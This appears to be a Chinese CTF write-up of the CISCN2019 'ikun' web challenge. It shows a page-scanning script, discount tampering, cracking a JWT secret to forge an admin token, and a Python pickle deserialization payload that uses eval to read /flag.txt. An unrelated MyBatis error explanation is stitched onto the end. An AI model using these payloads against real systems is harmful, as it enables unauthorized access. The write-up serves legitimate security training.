NO.3-2 [CISCN2019 华北赛区 Day1 Web2]ikun

4 篇文章 0 订阅
1 篇文章 0 订阅

当时没做出来,大佬复现了环境就做一波
题目
在这里插入图片描述
第一步提示我们要找到lv6
写个脚本找一下

import requests
url="http://web44.buuoj.cn/shop?page="

for i in range(0,2000):

	r=requests.get(url+str(i))
	if 'lv6.png' in r.text:
		print (i)
		break

跑的有点慢
找到了lv6发现买不起
在这里插入图片描述
应该是要抓包修改
改折扣

在这里插入图片描述
然后拿到了后台的地址http://web44.buuoj.cn/b1g_m4mber

在这里插入图片描述
但需要权限,这里涉及JWT破解了解JWT
 
在这里插入图片描述
先将JWT base64解码一下
 

 
在这里插入图片描述
看到username是我自己的登陆名5,这里需要改为admin
后边解码不出来因为经过了sha256,需要破解key
找了一个工具破的破解工具

在这里插入图片描述
然后伪造我们的jwt生成jwt的网站
 

 
在这里插入图片描述
好的进来了


在这里插入图片描述
在页面源码里看到了下载的路径
在这里插入图片描述
下载 

 在这里插入图片描述
打开之后找到了一个python反序列化的地方,在 admin.py
在这里插入图片描述

太菜了payload不会生成 看的大佬的
用py2跑
py3序列化pickle.dumps之后的结果和py2的不一样
怀疑是库的问题

这里用了Pickle协议的方法__reduce__(self)

 
在这里插入图片描述
这是大佬讲python魔术方法的博客

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

这样就可以打印flag.txt里的内容了
将生成的payload传给become
在这里插入图片描述

拿到flag


在这里插入图片描述

org.apache.ibatis.binding.BindingException是MyBatis框架中的一个异常类,表示绑定错误。在你提供的错误信息中,出现了"Invalid bound statement (not found): com.ikun.auth.service.SysRoleService.getBaseMapper"这个错误信息。 这个错误通常是由于MyBatis无法找到指定的绑定语句引起的。绑定语句是指在MyBatis的Mapper文件中定义的SQL语句,用于执行数据库操作。 根据错误信息中提供的绑定语句"com.ikun.auth.service.SysRoleService.getBaseMapper"来看,可能存在以下几种原因导致该错误: 1. 绑定语句的命名错误:请确保在Mapper文件中正确定义了名为"getBaseMapper"的绑定语句,并且没有拼写错误。 2. Mapper文件未正确配置:请检查Mapper文件是否正确配置了命名空间(namespace),并且在该命名空间下定义了名为"getBaseMapper"的绑定语句。 3. Mapper接口方法未正确命名:请确保在Mapper接口中存在名为"getBaseMapper"的方法,并且使用了@Select等注解来绑定对应的SQL语句。 如果以上几点都没有问题,还可以尝试以下几个解决方法: 1. 清除缓存:MyBatis会将解析过的Mapper文件缓存起来,有时候缓存可能会导致绑定错误。可以尝试清除缓存,重新加载Mapper文件。 2. 检查Mapper扫描路径:如果使用了MyBatis的自动扫描功能,确保Mapper接口所在的包路径在扫描范围内。 3. 检查依赖版本:如果使用了MyBatis的相关依赖库,确保版本兼容性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值